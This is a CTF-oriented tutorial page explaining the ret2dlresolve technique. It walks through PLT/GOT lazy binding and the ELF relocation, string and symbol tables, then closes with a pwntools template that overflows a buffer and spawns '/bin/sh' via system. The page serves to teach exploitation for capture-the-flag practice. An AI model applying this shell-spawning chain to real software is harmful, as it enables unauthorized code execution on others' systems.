> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve.md).

# Ret2dlresolve

The attacker tricks the binary into resolving an arbitrary function ( such as `system`) into the [PLT](/pwn/general-knowledge/plt-and-got.md).

The attacks can then use this PLT function as an original binary's function, bypassing ASLR and requiring no libc leaks.

## How it works ?

Dynamically-linked ELF objects import `libc` functions when they are first called using the [PLT and GOT](/pwn/general-knowledge/plt-and-got.md). During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.

1. From the `.text` section, instead of calling read directly, there is a call to the corresponding function in the `.plt` section (`0x401090`).

```wasm
0x00000000004015c9 <+129>: call 0x401090 <printf@plt>
```

2\. From here, there is an indirect jump in the corresponding `.got.plt` section (`0x404048`)

```wasm
0x401090 <printf@plt>: jmp QWORD PTR [rip+0x2fb2] # 0x404048 <printf@got.plt>
```

3\. Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (`0x401096`).

```wasm
gdb-peda$ x/gx 0x404048
0x404048 <printf@got.plt>: 0x0000000000401096
```

4\. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc\_arg is pushed on the stack.

```wasm
0x401096 <printf@plt+6>: push 0x6 # reloc_offset
```

5\. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link\_map address is pushed on the stack and finally the control is given to \_dl\_runtime\_resolve().

```wasm
0x40109b <printf@plt+11>: jmp 0x401020
```

```wasm
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 # link_map
0x401026: jmp  QWORD PTR [rip+0x2fe4] # 0x404010 # _dl_runtime_resolve
```

{% hint style="info" %}
If the \*\*`GOT` \*\* entry is unpopulated, the `reloc_offset` value is pushed and the binary jump to the beginning of the `.plt` section. A few instructions later, the `dl-resolve()` function is called, with `reloc_offset` being one of the arguments. It then uses this `reloc_offset` to calculate the **relocation and symtab entries**.
{% endhint %}

In order to resolve the functions, there are 3 structures that need to exist within the binary.

There are the 3 structures :

```bash
$ readelf -d server
0x0000000000000005 (STRTAB) 0x400668
0x0000000000000006 (SYMTAB) 0x4003c8
0x0000000000000017 (JMPREL) 0x4007f8
```

* **JMPREL** segment (`.rel.plt`) that stores the Relocation Table, which maps each entry to a symbol

```bash
$ readelf -r chall
Relocation section '.rela.plt' at offset 0x7f8 contains 25 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
...
000000404048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
...
000000404070  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
...
```

The column `name` coresponds to the symbol name. The `offset` is the GOT entry for the symbol. `info` stores additional metadata.

{% hint style="info" %}
These entry are of type `Elf32_Rel` for 0x86 instruction set and `Elf64_Rel` for 0x64 instruction set.

```c
typedef struct {
        Elf32_Addr      r_offset;
        Elf32_Word      r_info;
} Elf32_Rel;

typedef struct {
        Elf64_Addr      r_offset;
        Elf64_Xword     r_info;
} Elf64_Rel;

/* How to extract information held in the r_info field.  */
#define ELF32_R_SYM(info)             ((info)>>8)
#define ELF64_R_SYM(info)             ((info)>>32)
```

{% endhint %}

* **STRTAB**, a strings table for the names.

```bash
gdb-peda$ x/5s 0x400668
0x400668:       ""
0x400669:       "dprintf"
0x400671:       "socket"
0x400678:       "exit"
0x40067d:       "htons"
```

* **SYMTAB**, store symbol informations in structure.

```c
typedef struct 
{ 
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */ 
   Elf32_Word st_size ; /* Symbol size */ 
   unsigned char st_info ; /* Symbol type and binding */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
   Elf32_Section st_shndx ; /* Section index */ 
} Elf32_Sym ;

typedef struct {
        Elf64_Word      st_name; /* Symbol name (string tbl index) */
        unsigned char   st_info; /* Symbol type and binding */ 
        unsigned char   st_other; /* Symbol visibility under glibc>=2.2 */ 
        Elf64_Half      st_shndx; /* Section index */ 
        Elf64_Addr      st_value; /* Symbol value */ 
        Elf64_Xword     st_size; /* Symbol size */ 
} Elf64_Sym;

```

The most important value here is `st_name` as this gives the **offset in STRTAB of the symbol name**. The other fields are not relevant to the exploit itself.

## Exploit

Faking these 3 structures could enable to trick the linker into resolving an arbitrary function, parameters can also be pass in (such as `/bin/sh`) once resolved.

{% hint style="success" %}
pwntools contains a `Ret2dlresolvePayload` function that can automate the majority of the exploit
{% endhint %}

```python
from pwn import *

elf = context.binary = ELF('./chall')
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * offset) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    
```

This function will fake and write the structures at the correct address in order to call an arbitrary function `system` with `/bin/sh` as argument.

{% hint style="warning" %}
Note that a method to edit an arbitrary memory location is needed. In the previous example, a ROP chain using `read` is used.
{% endhint %}

## Resources

{% embed url="<https://syst3mfailure.io/ret2dl_resolve>" %}

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>" %}
